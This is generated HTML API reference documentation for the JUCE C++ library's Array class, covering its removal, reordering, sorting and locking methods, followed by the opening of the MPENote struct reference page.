href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::remove </td> <td>(</td> <td class="paramtype">const ElementType *&#160;</td> <td class="paramname"><em>elementToRemove</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Removes an element from the array. </p> <p>This will remove the element pointed to by the given iterator, and move back all the subsequent elements to close the gap. If the iterator passed in does not point to an element within the array, behaviour is undefined.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">elementToRemove</td><td>a pointer to the element to remove </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classArray.html#adb629ebfbcba98f1f5e1ca47ccca594e" title="Removes an item from the array.">removeFirstMatchingValue</a>, <a class="el" href="classArray.html#a2023eddb4bd8a3e0df96ab789ef139ce" title="Removes an item from the array.">removeAllInstancesOf</a>, <a class="el" href="classArray.html#ae9f26706cc40ce178424b2b4ba1f9647" title="Removes a range of elements from the array.">removeRange</a> </dd></dl> </div> </div> <a class="anchor" id="adb629ebfbcba98f1f5e1ca47ccca594e"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::removeFirstMatchingValue </td> <td>(</td> <td class="paramtype">ParameterType&#160;</td> <td class="paramname"><em>valueToRemove</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Removes an item from the array. </p> <p>This will remove the first occurrence of the given element from the array. If the item isn't found, no action is taken.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">valueToRemove</td><td>the object to try to remove </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classArray.html#af36ad6bf7849a3a3557a5457458701d0" title="Removes an element from the array.">remove</a>, <a class="el" href="classArray.html#ae9f26706cc40ce178424b2b4ba1f9647" title="Removes a range of elements from the array.">removeRange</a> </dd></dl> </div> </div> <a class="anchor" id="a2023eddb4bd8a3e0df96ab789ef139ce"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::removeAllInstancesOf </td> <td>(</td> <td class="paramtype">ParameterType&#160;</td> <td class="paramname"><em>valueToRemove</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Removes an item from the array. </p> <p>This will remove all occurrences of the given element from the array. If no such items are found, no action is taken.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">valueToRemove</td><td>the object to try to remove </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classArray.html#af36ad6bf7849a3a3557a5457458701d0" title="Removes an element from the array.">remove</a>, <a class="el" href="classArray.html#ae9f26706cc40ce178424b2b4ba1f9647" title="Removes a range of elements from the array.">removeRange</a> </dd></dl> </div> </div> <a class="anchor" id="ae9f26706cc40ce178424b2b4ba1f9647"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::removeRange </td> <td>(</td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>startIndex</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>numberToRemove</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Removes a range of elements from the array. </p> <p>This will remove a set of elements, starting from the given index, and move subsequent elements down to close the gap.</p> <p>If the range extends beyond the bounds of the array, it will be safely clipped to the size of the array.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">startIndex</td><td>the index of the first element to remove </td></tr> <tr><td class="paramname">numberToRemove</td><td>how many elements should be removed </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classArray.html#af36ad6bf7849a3a3557a5457458701d0" title="Removes an element from the array.">remove</a>, <a class="el" href="classArray.html#adb629ebfbcba98f1f5e1ca47ccca594e" title="Removes an item from the array.">removeFirstMatchingValue</a>, <a class="el" href="classArray.html#a2023eddb4bd8a3e0df96ab789ef139ce" title="Removes an item from the array.">removeAllInstancesOf</a> </dd></dl> <p>Referenced by <a class="el" href="classArray.html#aeee604745ed7157e6b14e8b54a27634f">Array&lt; Glyph &gt;::resize()</a>.</p> </div> </div> <a class="anchor" id="af6fe3614e877f04a42330f440a5548da"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::removeLast </td> <td>(</td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>howManyToRemove</em> = <code>1</code></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Removes the last n elements from the array. </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">howManyToRemove</td><td>how many elements to remove from the end of the array </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classArray.html#af36ad6bf7849a3a3557a5457458701d0" title="Removes an element from the array.">remove</a>, <a class="el" href="classArray.html#adb629ebfbcba98f1f5e1ca47ccca594e" title="Removes an item from the array.">removeFirstMatchingValue</a>, <a class="el" href="classArray.html#a2023eddb4bd8a3e0df96ab789ef139ce" title="Removes an item from the array.">removeAllInstancesOf</a>, <a class="el" href="classArray.html#ae9f26706cc40ce178424b2b4ba1f9647" title="Removes a range of elements from the array.">removeRange</a> </dd></dl> </div> </div> <a class="anchor" id="a1474eae027a73758ca12734001ec9da0"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <div class="memtemplate"> template&lt;class OtherArrayType &gt; </div> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::removeValuesIn </td> <td>(</td> <td class="paramtype">const OtherArrayType &amp;&#160;</td> <td class="paramname"><em>otherArray</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Removes any elements which are also in another array. </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">otherArray</td><td>the other array in which to look for elements to remove </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classArray.html#af3d9c435c3cddb0de674306b809430e3" title="Removes any elements which are not found in another array.">removeValuesNotIn</a>, <a class="el" href="classArray.html#af36ad6bf7849a3a3557a5457458701d0" title="Removes an element from the array.">remove</a>, <a class="el" href="classArray.html#adb629ebfbcba98f1f5e1ca47ccca594e" title="Removes an item from the array.">removeFirstMatchingValue</a>, <a class="el" href="classArray.html#a2023eddb4bd8a3e0df96ab789ef139ce" title="Removes an item from the array.">removeAllInstancesOf</a>, <a class="el" href="classArray.html#ae9f26706cc40ce178424b2b4ba1f9647" title="Removes a range of elements from the array.">removeRange</a> </dd></dl> <p>Referenced by <a class="el" href="classLassoComponent.html#a4aca7f9f28ecef2834bfabe648ba6959">LassoComponent&lt; SelectableItemType &gt;::dragLasso()</a>.</p> </div> </div> <a class="anchor" id="af3d9c435c3cddb0de674306b809430e3"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <div class="memtemplate"> template&lt;class OtherArrayType &gt; </div> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::removeValuesNotIn </td> <td>(</td> <td class="paramtype">const OtherArrayType &amp;&#160;</td> <td class="paramname"><em>otherArray</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Removes any elements which are not found in another array. </p> <p>Only elements which occur in this other array will be retained.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">otherArray</td><td>the array in which to look for elements NOT to remove </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classArray.html#a1474eae027a73758ca12734001ec9da0" title="Removes any elements which are also in another array.">removeValuesIn</a>, <a class="el" href="classArray.html#af36ad6bf7849a3a3557a5457458701d0" title="Removes an element from the array.">remove</a>, <a class="el" href="classArray.html#adb629ebfbcba98f1f5e1ca47ccca594e" title="Removes an item from the array.">removeFirstMatchingValue</a>, <a class="el" href="classArray.html#a2023eddb4bd8a3e0df96ab789ef139ce" title="Removes an item from the array.">removeAllInstancesOf</a>, <a class="el" href="classArray.html#ae9f26706cc40ce178424b2b4ba1f9647" title="Removes a range of elements from the array.">removeRange</a> </dd></dl> </div> </div> <a class="anchor" id="ae686a3e14b9134ddae4b6bd6088350e5"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::swap </td> <td>(</td> <td class="paramtype">const int&#160;</td> <td class="paramname"><em>index1</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const int&#160;</td> <td class="paramname"><em>index2</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Swaps over two elements in the array. </p> <p>This swaps over the elements found at the two indexes passed in. If either index is out-of-range, this method will do nothing.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">index1</td><td>index of one of the elements to swap </td></tr> <tr><td class="paramname">index2</td><td>index of the other element to swap </td></tr> </table> </dd> </dl> </div> </div> <a class="anchor" id="aed7d9992d0e88297d4d92487205436e2"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::move </td> <td>(</td> <td class="paramtype">const int&#160;</td> <td class="paramname"><em>currentIndex</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>newIndex</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Moves one of the values to a different position. </p> <p>This will move the value to a specified index, shuffling along any intervening elements as required.</p> <p>So for example, if you have the array { 0, 1, 2, 3, 4, 5 } then calling move (2, 4) would result in { 0, 1, 3, 4, 2, 5 }.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">currentIndex</td><td>the index of the value to be moved. If this isn't a valid index, then nothing will be done </td></tr> <tr><td class="paramname">newIndex</td><td>the index at which you'd like this value to end up. If this is less than zero, the value will be moved to the end of the array </td></tr> </table> </dd> </dl> </div> </div> <a class="anchor" id="a0773349e71721e177ee12c8ffd20b5d8"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::minimiseStorageOverheads </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Reduces the amount of storage being used by the array. </p> <p>Arrays typically allocate slightly more storage than they need, and after removing elements, they may have quite a lot of unused space allocated. This method will reduce the amount of allocated storage to a minimum. </p> <p>Referenced by <a class="el" href="classSortedSet.html#a259f41879ab086bde96eb90bbe9c4cd8">SortedSet&lt; ColourSetting &gt;::minimiseStorageOverheads()</a>.</p> </div> </div> <a class="anchor" id="a43d61929a72c859191859f02e35d2058"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::ensureStorageAllocated </td> <td>(</td> <td class="paramtype">const int&#160;</td> <td class="paramname"><em>minNumElements</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Increases the array's internal storage to hold a minimum number of elements. </p> <p>Calling this before adding a large known number of elements means that the array won't have to keep dynamically resizing itself as the elements are added, and it'll therefore be more efficient. </p> <p>Referenced by <a class="el" href="classSortedSet.html#a8104c54b46a0ffbe8f54395f5cf44b72">SortedSet&lt; ColourSetting &gt;::ensureStorageAllocated()</a>, and <a class="el" href="classRectangleList.html#a60e3dc4d6f8830bc50173021613cf128">RectangleList&lt; int &gt;::ensureStorageAllocated()</a>.</p> </div> </div> <a class="anchor" id="abd6210cb3337f1cc11b89bc7b63f9c72"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::sort </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Sorts the array using a default comparison operation. </p> <p>If the type of your elements isn't supported by the <a class="el" href="classDefaultElementComparator.html" title="A simple ElementComparator class that can be used to sort an array of objects that support the &#39;&lt;&#39;...">DefaultElementComparator</a> class then you may need to use the other version of sort, which takes a custom comparator. </p> <p>Referenced by <a class="el" href="classArray.html#abd6210cb3337f1cc11b89bc7b63f9c72">Array&lt; Glyph &gt;::sort()</a>.</p> </div> </div> <a class="anchor" id="ae41b43e6f47cfa888c01cc09d58f08fa"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <div class="memtemplate"> template&lt;class ElementComparator &gt; </div> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::sort </td> <td>(</td> <td class="paramtype">ElementComparator &amp;&#160;</td> <td class="paramname"><em>comparator</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">const bool&#160;</td> <td class="paramname"><em>retainOrderOfEquivalentItems</em> = <code>false</code>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Sorts the elements in the array. </p> <p>This will use a comparator object to sort the elements into order. The object passed must have a method of the form: </p> <div class="fragment"><div class="line"><span class="keywordtype">int</span> compareElements (ElementType first, ElementType second);</div> </div><!-- fragment --><p>..and this method must return:</p> <ul> <li>a value of &lt; 0 if the first comes before the second</li> <li>a value of 0 if the two objects are equivalent</li> <li>a value of &gt; 0 if the second comes before the first</li> </ul> <p>To improve performance, the compareElements() method can be declared as static or const.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">comparator</td><td>the comparator to use for comparing elements. </td></tr> <tr><td class="paramname">retainOrderOfEquivalentItems</td><td>if this is true, then items which the comparator says are equivalent will be kept in the order in which they currently appear in the array. This is slower to perform, but may be important in some cases. If it's false, a faster algorithm is used, but equivalent elements may be rearranged.</td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classArray.html#afc5417019f110034658b3c1c02af5a5e" title="Inserts a new element into the array, assuming that the array is sorted.">addSorted</a>, <a class="el" href="classArray.html#ad3faadfb7b8eb05350afb1c9dd951ff5" title="Finds the index of an element in the array, assuming that the array is sorted.">indexOfSorted</a>, sortArray </dd></dl> </div> </div> <a class="anchor" id="a37f02f5c6eedcc9bd661069e1b991bb1"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename ElementType, typename TypeOfCriticalSectionToUse = DummyCriticalSection, int minimumAllocatedSize = 0&gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">const <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>&amp; <a class="el" href="classArray.html">Array</a>&lt; ElementType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>, minimumAllocatedSize &gt;::getLock </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns the <a class="el" href="classCriticalSection.html" title="A re-entrant mutex.">CriticalSection</a> that locks this array. </p> <p>To lock, you can call <a class="el" href="classArray.html#a37f02f5c6eedcc9bd661069e1b991bb1" title="Returns the CriticalSection that locks this array.">getLock()</a>.enter() and <a class="el" href="classArray.html#a37f02f5c6eedcc9bd661069e1b991bb1" title="Returns the CriticalSection that locks this array.">getLock()</a>.exit(), or preferably use an object of ScopedLockType as an RAII lock for it. </p> <p>Referenced by <a class="el" href="classArray.html#a52da22e285e44171b6d6fa785a7d536a">Array&lt; Glyph &gt;::add()</a>, <a class="el" href="classArray.html#a3cb98449214bf8993d64dd06c33133eb">Array&lt; Glyph &gt;::addArray()</a>, <a class="el" href="classArray.html#a408fa7ce72916f0fc65df67fbc9f8813">Array&lt; Glyph &gt;::addIfNotAlreadyThere()</a>, <a class="el" href="classArray.html#afc5417019f110034658b3c1c02af5a5e">Array&lt; Glyph &gt;::addSorted()</a>, <a class="el" href="classArray.html#a738abff2826095c6f95ffa9e1e2a04bc">Array&lt; Glyph &gt;::Array()</a>, <a class="el" href="classArray.html#a86dc5fe378bb99b85beb8ab86c279654">Array&lt; Glyph &gt;::clear()</a>, <a class="el" href="classArray.html#a96bcb7013ec2d56da8b918da7fc0809c">Array&lt; Glyph &gt;::clearQuick()</a>, <a class="el" href="classArray.html#a57f5f5977d81f1d54315732bc30b33ab">Array&lt; Glyph &gt;::contains()</a>, <a class="el" href="classArray.html#a43d61929a72c859191859f02e35d2058">Array&lt; Glyph &gt;::ensureStorageAllocated()</a>, <a class="el" href="classArray.html#ae1884e2e59a1f2a7a2959a1f090da894">Array&lt; Glyph &gt;::getFirst()</a>, <a class="el" href="classArray.html#abcdc6472b527f4b470ae705ed7fad38f">Array&lt; Glyph &gt;::getLast()</a>, <a class="el" href="classSortedSet.html#a5a0b04e366f0a1faa768d05e400208ca">SortedSet&lt; ColourSetting &gt;::getLock()</a>, <a class="el" href="classArray.html#ac1cb5babc0950eb9897812b221695b3c">Array&lt; Glyph &gt;::getReference()</a>, <a class="el" href="classArray.html#ada77bc1217cc15d8815e2685090de379">Array&lt; Glyph &gt;::getUnchecked()</a>, <a class="el" href="classSortedSet.html#ac51e0a933c5902a55f68ee8eef9cba00">SortedSet&lt; ColourSetting &gt;::indexOf()</a>, <a class="el" href="classArray.html#af3e6b6c7c55897224b923bb4409b958a">Array&lt; Glyph &gt;::indexOf()</a>, <a class="el" href="classArray.html#ad3faadfb7b8eb05350afb1c9dd951ff5">Array&lt; Glyph &gt;::indexOfSorted()</a>, <a class="el" href="classArray.html#aef96810c21931d9676c08cad82de45c7">Array&lt; Glyph &gt;::insert()</a>, <a class="el" href="classArray.html#acb0477221ce1538611a9fcd84028b387">Array&lt; Glyph &gt;::insertArray()</a>, <a class="el" href="classArray.html#a0cadf83bcfba696c6a4adc15f4e0a78f">Array&lt; Glyph &gt;::insertMultiple()</a>, <a class="el" href="classArray.html#a0773349e71721e177ee12c8ffd20b5d8">Array&lt; Glyph &gt;::minimiseStorageOverheads()</a>, <a class="el" href="classArray.html#aed7d9992d0e88297d4d92487205436e2">Array&lt; Glyph &gt;::move()</a>, <a class="el" href="classArray.html#abe323c4e118f22cd1d09c2557a74c3d5">Array&lt; Glyph &gt;::operator==()</a>, <a class="el" href="classArray.html#a9e369f019d7ba8f7587bcab1906e4087">Array&lt; Glyph &gt;::operator[]()</a>, <a class="el" href="classArray.html#af36ad6bf7849a3a3557a5457458701d0">Array&lt; Glyph &gt;::remove()</a>, <a class="el" href="classArray.html#a2023eddb4bd8a3e0df96ab789ef139ce">Array&lt; Glyph &gt;::removeAllInstancesOf()</a>, <a class="el" href="classArray.html#adb629ebfbcba98f1f5e1ca47ccca594e">Array&lt; Glyph &gt;::removeFirstMatchingValue()</a>, <a class="el" href="classArray.html#af6fe3614e877f04a42330f440a5548da">Array&lt; Glyph &gt;::removeLast()</a>, <a class="el" href="classArray.html#ae9f26706cc40ce178424b2b4ba1f9647">Array&lt; Glyph &gt;::removeRange()</a>, <a class="el" href="classArray.html#a1474eae027a73758ca12734001ec9da0">Array&lt; Glyph &gt;::removeValuesIn()</a>, <a class="el" href="classArray.html#af3d9c435c3cddb0de674306b809430e3">Array&lt; Glyph &gt;::removeValuesNotIn()</a>, <a class="el" href="classArray.html#a2fb91e8ec10caa9474a28c88e35f9686">Array&lt; Glyph &gt;::set()</a>, <a class="el" href="classArray.html#a8fb9db1598de3bcf85754ff2169dd7eb">Array&lt; Glyph &gt;::setUnchecked()</a>, <a class="el" href="classArray.html#ae41b43e6f47cfa888c01cc09d58f08fa">Array&lt; Glyph &gt;::sort()</a>, <a class="el" href="classArray.html#ae686a3e14b9134ddae4b6bd6088350e5">Array&lt; Glyph &gt;::swap()</a>, and <a class="el" href="classArray.html#a921a70882553967e2998beeb30d99f83">Array&lt; Glyph &gt;::swapWith()</a>.</p> </div> </div> <hr/>The documentation for this class was generated from the following file:<ul> <li><a class="el" href="juce__Array_8h.html">juce_Array.h</a></li> </ul> </div><!-- contents --> <hr class="footer"/> <address class="footer"><small>All content &copy Raw Material Software Ltd.</small></address><br/> <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-19759318-1']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> </body> </html> <file_sep><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <title>JUCE: MPENote Struct Reference</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="dynsections.js"></script> <link href="search/search.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="search/search.js"></script> <script type="text/javascript"> $(document).ready(function() { searchBox.OnSelectItem(0); }); </script> <link href="doxygen.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="top"><!-- do not remove this div, it is closed by doxygen! --> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td style="padding-left: 0.5em;"> <div id="projectname">JUCE </div> </td> </tr> </tbody> </table> </div> <!-- end header part --> <!-- Generated by Doxygen 1.8.2 --> <script type="text/javascript"> var searchBox = new SearchBox("searchBox", "search",false,'Search'); </script> <div id="navrow1" class="tabs"> <ul class="tablist"> <li><a href="index.html"><span>Main&#160;Page</span></a></li> <li class="current"><a href="annotated.html"><span>Classes</span></a></li> <li><a href="files.html"><span>Files</span></a></li> <li> <div id="MSearchBox" class="MSearchBoxInactive"> <span class="left"> <img id="MSearchSelect" src="search/mag_sel.png" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" alt=""/> <input type="text" id="MSearchField" value="Search" accesskey="S" onfocus="searchBox.OnSearchFieldFocus(true)" onblur="searchBox.OnSearchFieldFocus(false)" onkeyup="searchBox.OnSearchFieldChange(event)"/> </span><span class="right"> <a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a> </span> </div> </li> </ul> </div> <div id="navrow2" class="tabs2"> <ul class="tablist"> <li><a href="annotated.html"><span>Class&#160;List</span></a></li> <li><a href="classes.html"><span>Class&#160;Index</span></a></li> <li><a href="hierarchy.html"><span>Class&#160;Hierarchy</span></a></li> <li><a href="functions.html"><span>Class&#160;Members</span></a></li> </ul> </div> <!-- window showing the filter options --> <div id="MSearchSelectWindow" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" onkeydown="return searchBox.OnSearchSelectKey(event)"> <a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(0)"><span class="SelectionMark">&#160;</span>All</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(1)"><span class="SelectionMark">&#160;</span>Classes</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(2)"><span class="SelectionMark">&#160;</span>Namespaces</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(3)"><span class="SelectionMark">&#160;</span>Files</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(4)"><span class="SelectionMark">&#160;</span>Functions</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(5)"><span class="SelectionMark">&#160;</span>Variables</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(6)"><span class="SelectionMark">&#160;</span>Typedefs</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(7)"><span class="SelectionMark">&#160;</span>Enumerations</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(8)"><span class="SelectionMark">&#160;</span>Enumerator</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(9)"><span class="SelectionMark">&#160;</span>Macros</a></div> <!-- iframe showing the search results (closed by default) --> <div id="MSearchResultsWindow"> <iframe src="javascript:void(0)" frameborder="0" name="MSearchResults" id="MSearchResults"> </iframe> </div> </div><!-- top --> <div class="header"> <div class="summary"> <a href="#pub-types">Public Types</a> &#124; <a href="#pub-methods">Public Member Functions</a> &#124; <a href="#pub-attribs">Public Attributes</a> &#124; <a href="structMPENote-members.html">List of all members</a> </div> <div class="headertitle"> <div class="title">MPENote Struct Reference</div> </div> </div><!--header--> <div class="contents"> <p>This struct represents a playing MPE note. <a href="structMPENote.html#details">More...</a></p> <table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-types"></a> Public Types</h2></td></tr> <tr class="memitem:a20106ff137c1a5f0b8e6e099ff3fc922"><td class="memItemLeft" align="right" valign="top">enum &#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="structMPENote.html#a20106ff137c1a5f0b8e6e099ff3fc922">KeyState</a> { <a class="el" href="structMPENote.html#a20106ff137c1a5f0b8e6e099ff3fc922adeb8e0c25e24978beb9013836745cb4b">off</a> = 0, <a class="el" href="structMPENote.html#a20106ff137c1a5f0b8e6e099ff3fc922a895ffc865cb90899c347efefb881e2ce">keyDown</a> = 1, <a class="el" href="structMPENote.html#a20106ff137c1a5f0b8e6e099ff3fc922a3394b891d4bdd77fd39d141102c4a4bd">sustained</a> = 2, <a class="el" href="structMPENote.html#a20106ff137c1a5f0b8e6e099ff3fc922a31c427116ac75e042f9f5315a7aad129">keyDownAndSustained</a> = 3 }</td></tr> <tr class="separator:a20106ff137c1a5f0b8e6e099ff3fc922"><td class="memSeparator" colspan="2">&#160;</td></tr> </table><table class="memberdecls"> <tr class="heading"><td 